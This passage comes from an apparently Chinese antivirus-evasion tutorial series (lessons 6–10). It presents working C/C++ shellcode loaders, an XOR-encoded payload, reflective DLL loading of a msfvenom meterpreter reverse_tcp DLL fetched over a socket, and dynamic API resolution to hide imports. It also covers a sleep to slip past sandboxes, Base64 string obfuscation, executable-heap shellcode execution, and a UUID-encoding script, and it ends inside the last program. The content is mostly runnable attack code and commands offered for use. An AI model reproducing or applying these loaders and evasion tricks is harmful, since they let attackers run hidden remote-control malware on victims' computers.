e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x39\x7f\x65\x4f\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x48\x45\x43\x4f\x33\x31\x44\x46\x44\x46\x23\x07\x00\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x3d\x3a\x24\x3b\x38\x32\x0a\x0a\x0a\x0a\x0a";

int wmain(int argc, TCHAR argv[]){
DWORD dwError;
WORD sockVersion = MAKEWORD(2, 2);
WSADATA wsaData;
SOCKET socks;
SHORT sListenPort = 8888;
struct sockaddr_in sin;

if (WSAStartup(sockVersion, &wsaData) != 0)
{
dwError = GetLastError();
printf("[*]WSAStarup Error : %d \n",dwError);
return dwError;
}

socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (socks == INVALID_SOCKET)
{
dwError = GetLastError();
printf("[*]Socket Error : %d \n",dwError);
return dwError;
}

sin.sin_family = AF_INET;
sin.sin_port = htons(sListenPort);
sin.sin_addr.S_un.S_addr = inet_addr("192.168.170.1");

if(connect(socks,(struct sockaddr *)&sin,sizeof(sin)) == SOCKET_ERROR )
{
dwError = GetLastError();
printf("[*]Bind Error : %d \n",dwError);
return dwError;
}
int ret = send(socks,buf,sizeof(buf),0);

if (ret > 0)
{
printf("[+]Send %d-Bytes \n",ret);
closesocket(socks);
}

WSACleanup();
return 0;
}

第六课

MemoryMoudle

项目背景:Windows操作系统在执行一个Windows PE格式的文件时,Windows自身是有一个Windows PE格式的解析器,通过PE格式把文件的各个节放入不同的内存区域。

爱折腾的程序员自己也想实现这个过程,那就是反射,这个反射机制就是将Windows PE格式通过自己写的代码进行解析,并把不同的节数据加载到内存中,通常这个反射加载技术被很多APT组织、大型渗透框架、病毒作者使用比较广泛。

当一个Windows PE格式的文件变成了一个内存中的字符串,意味着这个文件可以被任意方式去转换、加密、混淆,因此反病毒软件也难以查杀。

MemoryModule就是实现了这个过程:https://github.com/fancycode/MemoryModule

但是资料都是英文的,我在国内的社区上找到了中文版本的:https://gitee.com/china_jeffery/MemoryModule

就是从内存中加载DLL,具体实现原理:

https://payloads.online/archivers/2019-03-14/1

反射DLL加载的实验

首先体验一下正常DLL加载的过程:

1
2
3
4
5
6
#include <Windows.h>

VOID msg(VOID){
MessageBox(NULL,TEXT("Test"),TEXT("Hello"),MB_OK);
return;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <Windows.h>;

typedef VOID (*msg)(VOID);

int main()
{
msg RunMsg;
HMODULE hBadCode = LoadLibrary(TEXT("BadCode-DLL.dll"));

RunMsg = (msg)GetProcAddress(hBadCode,"msg");
RunMsg();
FreeLibrary(hBadCode);

return 0;
}

通过LoadLibrary这个API来加载DLL文件,使其运行,看起来是一个基础操作,那么还有另外一种方式吗?

接下来贴上MemoryModule的使用方法:

  1. 将要加载的PE文件读入内存
  2. 初始化MemoryModule句柄
  3. 装载内存
  4. 获得导出函数地址
  5. 执行导出函数
  6. 释放MemoryModule句柄

这里我将MemoryModule项目代码放入当前项目:

主要是:MemoryModule.hMemoryModule.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <Windows.h>;
#include <stdio.h>
#include "MemoryModule.h"

typedef VOID (*msg)(VOID);

// 打开文件并获取大小
DWORD OpenBadCodeDLL(HANDLE & hBadCodeDll, LPCWSTR lpwszBadCodeFileName){
DWORD dwHighFileSize = 0;
DWORD dwLowFileSize = 0;
// 打开文件
hBadCodeDll = CreateFile(lpwszBadCodeFileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL ,NULL);
if(hBadCodeDll == INVALID_HANDLE_VALUE){
return GetLastError();
}
dwLowFileSize = GetFileSize(hBadCodeDll,&dwHighFileSize);
return dwLowFileSize;
}


int main()
{
msg RunMsg; // msg函数的函数指针
HMEMORYMODULE hModule; // MemoryModule句柄,应该可以这么理解,,
HANDLE hBadCodeDll = INVALID_HANDLE_VALUE; // 打开PE文件的句柄
WCHAR szBadCodeFile[] = TEXT("C:\Users\admin\Documents\Visual Studio 2012\Projects\BadCode\Debug\BadCode-DLL.dll"); // PE文件的物理路径
DWORD dwFileSize = 0; // PE文件大小
DWORD dwReadOfFileSize = 0; // 已读取的PE文件大小
PBYTE bFileBuffer = NULL; // PE文件的内存地址

// 打开文件
dwFileSize = OpenBadCodeDLL(hBadCodeDll, szBadCodeFile);
// 如果打开失败直接退出
if(hBadCodeDll == INVALID_HANDLE_VALUE){
return GetLastError();
}
// 申请放置PE文件的内存空间
bFileBuffer = new BYTE[dwFileSize];
// 读取文件
ReadFile(hBadCodeDll,bFileBuffer,dwFileSize,&dwReadOfFileSize,NULL);
// 如果读取错误直接退出
if(dwReadOfFileSize != dwFileSize){
return GetLastError();
}
// 关闭打开PE文件的句柄
CloseHandle(hBadCodeDll);
// 导入PE文件
hModule = MemoryLoadLibrary(bFileBuffer);
// 如果加载失败,就退出
if(hModule == NULL){
delete [] bFileBuffer;
return -1;
}
// 获取msg导出函数地址
RunMsg = (msg)MemoryGetProcAddress(hModule,"msg");
// 运行msg函数
RunMsg();
// 释放资源
MemoryFreeLibrary(hModule);
// 释放PE内存
delete [] bFileBuffer;

return GetLastError();
}

反射DLL 与 MSF 联动

通过Socket将Msf生成的DLL给接收到内存中,然后载入MemoryModule中,直接执行。

生成DLL

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.170.138 LPORT=8899 -f dll -o ~/y.dll

设置MSF dll 发射器(set DLL 命令):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
msf5 > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.170.138 -P 8899
[*] Payload handler running as background job 0.

[*] Started reverse TCP handler on 192.168.170.138:8899
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/patchupdllinject/reverse_tcp
payload => windows/patchupdllinject/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.170.138
LHOST => 192.168.170.138
msf5 exploit(multi/handler) > set LPORT 8888
LPORT => 8888
msf5 exploit(multi/handler) > set DLL ~/y.dll
DLL => ~/y.dll
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.170.138:8888
msf5 exploit(multi/handler) >

写代码实现客户端获,获取MSF 生成的DLL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include "MemoryModule.h"
#pragma comment(lib,"ws2_32.lib")

#define PAYLOAD_SIZE 1024*512
typedef BOOL (*Module)(HMODULE hModule, DWORD ul_reason_for_call , LPVOID lpReserved);

typedef VOID (*msg)(VOID);
PBYTE bFileBuffer = NULL;


BOOL GetPEDLL(){

DWORD dwError;
WORD sockVersion = MAKEWORD(2, 2);
WSADATA wsaData;
SOCKET socks;
SHORT sListenPort = 8888;
struct sockaddr_in sin;

if (WSAStartup(sockVersion, &wsaData) != 0)
{
dwError = GetLastError();
printf("[*]WSAStarup Error : %d \n",dwError);
return FALSE;
}

socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (socks == INVALID_SOCKET)
{
dwError = GetLastError();
printf("[*]Socket Error : %d \n",dwError);
return FALSE;
}

sin.sin_family = AF_INET;
sin.sin_port = htons(sListenPort);
sin.sin_addr.S_un.S_addr = inet_addr("192.168.170.138");

if(connect(socks,(struct sockaddr *)&sin,sizeof(sin)) == SOCKET_ERROR )
{
dwError = GetLastError();
printf("[*]Bind Error : %d \n",dwError);
return FALSE;
}

int ret = 0;
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,2650,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);

ZeroMemory(bFileBuffer,PAYLOAD_SIZE);


ret = recv(socks,(PCHAR)bFileBuffer,5120,NULL);

if (ret > 0)
{
closesocket(socks);
}


return TRUE;
}

// 打开文件并获取大小
DWORD OpenBadCodeDLL(HANDLE & hBadCodeDll, LPCWSTR lpwszBadCodeFileName){
DWORD dwHighFileSize = 0;
DWORD dwLowFileSize = 0;
// 打开文件
hBadCodeDll = CreateFile(lpwszBadCodeFileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL ,NULL);
if(hBadCodeDll == INVALID_HANDLE_VALUE){
return GetLastError();
}
dwLowFileSize = GetFileSize(hBadCodeDll,&dwHighFileSize);
return dwLowFileSize;
}


int main()
{

HMEMORYMODULE hModule;
Module DllMain;
bFileBuffer = new BYTE[PAYLOAD_SIZE];
GetPEDLL();
// 导入PE文件
hModule = MemoryLoadLibrary(bFileBuffer);
// 如果加载失败,就退出
if(hModule == NULL){
delete [] bFileBuffer;
return -1;
}
// 获取msg导出函数地址
DllMain = (Module)MemoryGetProcAddress(hModule,"DllMain");
// 运行msg函数
DllMain(0,0,0);
// 释放资源
DWORD dwThread;
HANDLE hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)DllMain,NULL,NULL,&dwThread);

WaitForSingleObject(hThread,INFINITE);

MemoryFreeLibrary(hModule);
// 释放PE内存
delete [] bFileBuffer;
return GetLastError();
}

GetPEDLL函数主要是从MSF上获取DLL,通过recv函数不断接收,偏移获得DLL地址,然后扔给MemoryGetProcAddress。

PS:

不同位数要对应不同的payload,编译平台也要互相对应

引入反射DLL加载这个技术,以及如何使用这个技术,如果想深入研究,还需要学习Windows PE相关的基础知识。

第7课

导入地址表(IAT)

Import Address Table 由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个DLL 中,当PE 文件被装入内存的时候,Windows 装载器才将DLL 装入,并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成.其中导入地址表就指示函数实际地址。 - 来源百度百科

在PE结构中,存在一个导入表,导入表中声明了这个PE文件会载入哪些模块,同时每个模块的结构中又会指向模块中的一些函数名称。这样的组织关系是为了告诉操作系统这些函数的地址在哪里,方便修正调用地址。

如果一个文件的文件大小在300KB以内,并且导入函数又有Virtual AllocCreateThread,且VirtualAlloc的最后一个参数是0x40,那么此文件是高危文件。

0x40被定义在winnt.h中:

1
2
3
4
5
6
7
8
#define PAGE_NOACCESS           0x01    
#define PAGE_READONLY 0x02
#define PAGE_READWRITE 0x04
#define PAGE_WRITECOPY 0x08
#define PAGE_EXECUTE 0x10
#define PAGE_EXECUTE_READ 0x20
#define PAGE_EXECUTE_READWRITE 0x40
#define PAGE_EXECUTE_WRITECOPY 0x80

![](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20210220161431763.png)

GetProcAddress 获取函数地址

GetProcAddress这个API在Kernel32.dll中被导出,主要功能是从一个加载的模块中获取函数的地址。

1
2
3
4
FARPROC GetProcAddress(
HMODULE hModule, // 模块句柄
LPCSTR lpProcName // 函数名称
);

FARPROC被定义在了minwindef.h中,声明如下:

1
2
3
#define WINAPI      __stdcall

typedef int (FAR WINAPI *FARPROC)();

跟进它的声明能够发现是一个函数指针,也就是说GetProcAddress返回的是我们要找的函数地址。

自己写代码获取函数地址

1
VirtualAlloc -> VirtualProtect -> CreateThread -> WaitForSingleObject

这几个函数是比较明显的,并且都在kernel32.dll中导出,我们尝试自己定义他们的函数指针,然后利用GetProcAddress获取函数地址,调用自己的函数名称。

新建C/C++项目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
typedef LPVOID(WINAPI* ImportVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);

typedef HANDLE(WINAPI* ImportCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId);

typedef BOOL(WINAPI* ImportVirtualProtect)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

typedef DWORD (WINAPI * ImportWaitForSingleObject)(
HANDLE hHandle,
DWORD dwMilliseconds
);

然后在main函数中,定义四个函数指针来存放这些函数的地址。

1
2
3
4
ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");
ImportCreateThread MyCreateThread = (ImportCreateThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateThread");
ImportVirtualProtect MyVirtualProtect = (ImportVirtualProtect)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualProtect");
ImportWaitForSingleObject MyWaitForSingleObject = (ImportWaitForSingleObject)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WaitForSingleObject");

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include <Windows.h>
#include <intrin.h>
#include <WinBase.h>
#include <stdio.h>

typedef LPVOID(WINAPI* ImportVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);

typedef HANDLE(WINAPI* ImportCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId);

typedef BOOL(WINAPI* ImportVirtualProtect)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

typedef DWORD(WINAPI* ImportWaitForSingleObject)(
HANDLE hHandle,
DWORD dwMilliseconds
);



// 入口函数
int wmain(int argc, TCHAR* argv[]) {

ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");
ImportCreateThread MyCreateThread = (ImportCreateThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateThread");
ImportVirtualProtect MyVirtualProtect = (ImportVirtualProtect)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualProtect");
ImportWaitForSingleObject MyWaitForSingleObject = (ImportWaitForSingleObject)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WaitForSingleObject");


int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */

char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a...";


// 获取shellcode大小
shellcode_size = sizeof(buf);

/* 增加异或代码 */
for (int i = 0; i < shellcode_size; i++) {
//Sleep(50);
_InterlockedXor8(buf + i, 10);
}

/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/

char* shellcode = (char*)MyVirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);

// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);

// 这里开始更改它的属性为可执行
MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

// 等待几秒,兴许可以跳过某些沙盒呢?
Sleep(2000);

hThread = MyCreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

MyWaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;
}

第八课

字符串

一般情况下,C/C++程序中的字符串常量会被硬编码到程序中(.data段,也就是数据段),尤其是全局变量最容易被定位到。

1
2
3
4
5
6
7
8
9
#include <stdio.h>

char global_string[] = "123456";

int main(){

printf("%s \n", global_string);

}

如果编写的是一些敏感参数的工具,很容易会被提取出特征,例如lcx这款工具,它的参数如下:

1
2
3
4
5
6
7
8
9
[Usage of Packet Transmit:]

lcx -<listen|tran|slave> <option> [-log logfile]

[option:]

-listen <ConnectPort> <TransmitPort>
-tran<ConnectPort> <TransmitHost> <TransmitPort>
-slave <ConnectHost> <ConnectPort> <TransmitHost><TransmitPort>

其中,-listen-tran-slave非常敏感,一般常见程序不会高频使用这些参数名,因此落地被杀也是意料之中。

C++ 重载运算符

C++ 允许在同一作用域中的某个函数和运算符指定多个定义,分别称为函数重载和运算符重载。

重载的运算符是带有特殊名称的函数,函数名是由关键字 operator 和其后要重载的运算符符号构成的。与其他函数一样,重载运算符有一个返回类型和一个参数列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#pragma once
#include <iostream>
#include <string>
#include <Windows.h>

class BadString {

protected:
DWORD dwStrLength = 0;
std::string szOutStr;
std::string Base64decode(std::string szBase64String, LPDWORD lpdwLen);
public:
BadString(std::string szInStr);
operator std::string();
~BadString();

};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include "BadString.h"

std::string BadString::Base64decode(std::string szBase64String, LPDWORD lpdwLen)
{
DWORD dwLen;
DWORD dwNeed;
PBYTE lpBuffer = NULL;
dwLen = szBase64String.length();
dwNeed = 0;
CryptStringToBinaryA(szBase64String.c_str(), 0, CRYPT_STRING_BASE64, NULL, &dwNeed, NULL, NULL);
if (dwNeed)
{
lpBuffer = new BYTE[dwNeed + 1];
ZeroMemory(lpBuffer, dwNeed + 1);
CryptStringToBinaryA(szBase64String.c_str(), 0, CRYPT_STRING_BASE64, lpBuffer, &dwNeed, NULL, NULL);
*lpdwLen = dwNeed;
}
return std::string((PCHAR)lpBuffer);
}

BadString::BadString(std::string szInStr)
{
this->dwStrLength = szInStr.length();
this->szOutStr = this->Base64decode(szInStr, &this->dwStrLength);
}

BadString::operator std::string()
{
return this->szOutStr;
}

BadString::~BadString()
{
}

调用方式:

1
2
3
4
5
6
#include "BadString.h"

int main()
{
std::cout << std::string(BadString("SGVsbG8gV29ybGQK")) << std::endl;
}

假设一个功能函数的定义如下:

1
BOOL CCooolisMetasploit::SendPayload(std::string options, std::string payload)

那么,调用这个函数时,传递的std::string options这个字符串可能会被定位,这个时候需要在传入之前调用一个函数,进行一次解密,把解密后的字符串传入。

1
metasploit->add_option(CooolisString("LXAsLS1wYXlsb2Fk"), msf_payload, CooolisString("UGF5bG9hZCBOYW1lLCBlLmcuIHdpbmRvd3MvbWV0ZXJwcmV0ZXIvcmV2ZXJzZV90Y3A="))->default_str(CooolisString("d2luZG93cy9tZXRlcnByZXRlci9yZXZlcnNlX3RjcA=="));

第九课

数据执行保护(DEP)

DEP(Data Execution Prevention)即“ 数据执行保护”,这是Windows的一项安全机制,主要用来防止病毒和其他安全威胁对系统造成破坏。 微软从Windows XP SP2引入了该技术,并一直延续到今天。


为什么要有DEP:

在Windows Xp SP2 之前的时代,缓冲区溢出漏洞利用门槛太低了,只要发现有缓冲区溢出漏洞,就可以直接稳定利用,攻击者只需要将Shellcode不断写入堆栈,然后覆盖函数返回地址,代码就可以在堆栈中执行。但堆栈的用途主要是保存寄存器现场,提供一个函数运行时的存储空间,极少数需要代码在堆栈中执行,于是微软为了缓解类似的情况,发明了DEP保护机制,用于限制某些内存页不具有可执行权限。

如何绕过DEP

VirtualProtect这个API能够更改内存页的属性为可执行或不可执行,对于二进制漏洞利用来说,溢出的时候,把返回地址设计为VirtualProtect的地址,再精心构造一个栈为调用这个API的栈,就可以改变当前栈的内存页的属性,使其从”不可执行”变成”可执行”。

举一反三

Shellcode执行其实也需要一个可执行的内存页,那么还有哪些API能够构造一个可执行的内存页呢?

HeapCreate可以在进程中创建辅助堆栈,并且能够设置堆栈的属性:

1
2
3
4
HANDLE WINAPI HeapCreate(
__in DWORD flOptions,
__in SIZE_T dwInitialSize,
__in SIZE_T dwMaximumSize );

第一个参数flOptions用于修改如何在堆栈上执行各种操作。 你可以设定0HEAP_NO_SERIALIZEHEAP_GENERATE_EXCEPTIONSHEAP_CREATE_ENABLE_EXECUTE或者是这些标志的组合。

  • HEAP_NO_SERIALIZE:对堆的访问是非独占的,如果一个线程没有完成对堆的操作,其它线程也可以进程堆操作,这个开关是非常危险的,应尽量避免使用。
  • HEAP_GENERATE_EXCEPTIONS:当堆分配内存失败时,会抛出异常。如果不设置,则返回NULL。
  • HEAP_CREATE_ENALBE_EXECUTE:堆中存放的内容是可以执行的代码。如果不设置,意味着堆中存放的是不可执行的数据。

看到HEAP_CREATE_ENALBE_EXECUTE相信很多人能够恍然大悟,我们的Shellcode可以存入这个辅助堆栈中,然后创建一个线程运行它即可。

Shellcode 执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <iostream>
#include <Windows.h>

int main()
{
char shellcode[] = "123";

HANDLE hHep = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);

PVOID Mptr = HeapAlloc(hHep, 0, sizeof(shellcode));

RtlCopyMemory(Mptr, shellcode, sizeof(shellcode));
DWORD dwThreadId = 0;
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, NULL, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);

std::cout << "Hello World!\n";
}

第十课

UUID

通用唯一标识符(universally unique identifier, UUID)是一个128位的用于在计算机系统中以识别信息的数目。在Windows中也有使用GUID来标识唯一对象。

Windows中的GUID 等同于 UUID, 其结构:

1
2
3
4
5
6
typedef struct _GUID {
unsigned long Data1; // 4字节
unsigned short Data2; // 2字节
unsigned short Data3; // 2字节
unsigned char Data4[8]; // 8字节
} GUID;

总和一共16字节,16*8 = 128位。

与uuid 相关的Windows API

1
2
3
4
RPC_STATUS UuidFromString(
RPC_CSTR StringUuid,
UUID *Uuid
);

功能:将字符串uuid转换为uuid结构

1
2
3
RPC_STATUS UuidCreate(
UUID *Uuid
);

功能:创建UUID结构。

1
2
3
4
5
int UuidEqual(
UUID *Uuid1,
UUID *Uuid2,
RPC_STATUS *Status
);

功能:判断两个UUID是否相等。

UUID 代表了 -> typedef GUID UUID;

uuid 测试

生成 shellcode

1
./msfvenom -p windows/exec CMD=calc.exe -b '\xfc\xe8' -f raw -o /tmp/shellcode.bin

bin2uuid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from uuid import UUID
import os
import sys

# Usage: python3 binToUUIDs.py shellcode.bin [--print]

print("""
____ _ _______ _ _ _ _ _____ _____
| _ \(_) |__ __| | | | | | | |_ _| __ \
| |_) |_ _ __ | | ___ | | | | | | | | | | | | |___
| _ <| | '_ \| |/ _ \| | | | | | | | | | | | / __|
| |_) | | | | | | (_) | |__| | |__| |_| |_| |__| \__ \
|____/|_|_| |_|_|\___/ \____/ \____/|_____|_____/|___/
\n""")

with open(sys.argv[1], "rb") as f:
bin = f.read()

if len(sys.argv) > 2 and sys.argv[2] == "--print":
outputMapping = True
else:
outputMapping = False

offset = 0

print("Length of shellcode: {} bytes\n".format(len(bin)))

out = ""

while(offset < len(bin)):
countOfBytesToConvert = len(bin[offset:])
if countOfBytesToConvert < 16:
ZerosToAdd = 16 - countOfBytesToConvert
byteString = bin[offset:] + (b'\x00'* ZerosToAdd)
uuid = UUID(bytes_le=byteString)
else:
byteString = bin[offset:offset+16]
uuid = UUID(bytes_le=byteString)
offset+=16

out += "\"{}\",\n".format(uuid)

if outputMapping:
print("{} -> {}".format(byteString, uuid))

with open(sys.argv[1] + "UUIDs", "w") as f:
f.write(out)

print("Outputted to: {}".format(sys.argv[1] + "UUIDs"))

生成测试样本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <Windows.h>
#include <rpc.h>
#pragma comment(lib,"Rpcrt4.lib")

const char * buf[] = {
"4baf01bd-dbdd-d9de-7424-f45a33c9b131",
"83136a31-04c2-6a03-0e4d-be21f81341da",
"3fcb73f8-b3c9-34af-7904-bb1975efe989",
"bd259d0e-28a7-f010-3800-6093ba5bb573",
"72c89383-cec4-2621-9d85-94d7aad02453",
"802cf5e0-f4b0-171d-cbae-bd9918dbf781",
"394ee67d-9cb5-eb50-845d-fed229acfe13",
"6a754f8d-f2ee-a98e-8d28-1a2a35babc96",
"5c5a6fc4-c4ca-3a28-cedb-fd30ea500097",
"3327227b-f020-6246-8c57-76746f07d2fe",
"5d6f5c9d-a3cb-dbfd-b9a4-fde3edcccc68",
"bad08a62-64c7-e79b-61ed-4272307075a8",
"59f68d76-6a06-2be6-0336-a0c0792745e7",
"844c482e-dab1-650c-545b-b67900000000"
};


int main(int argc, char* argv[]) {

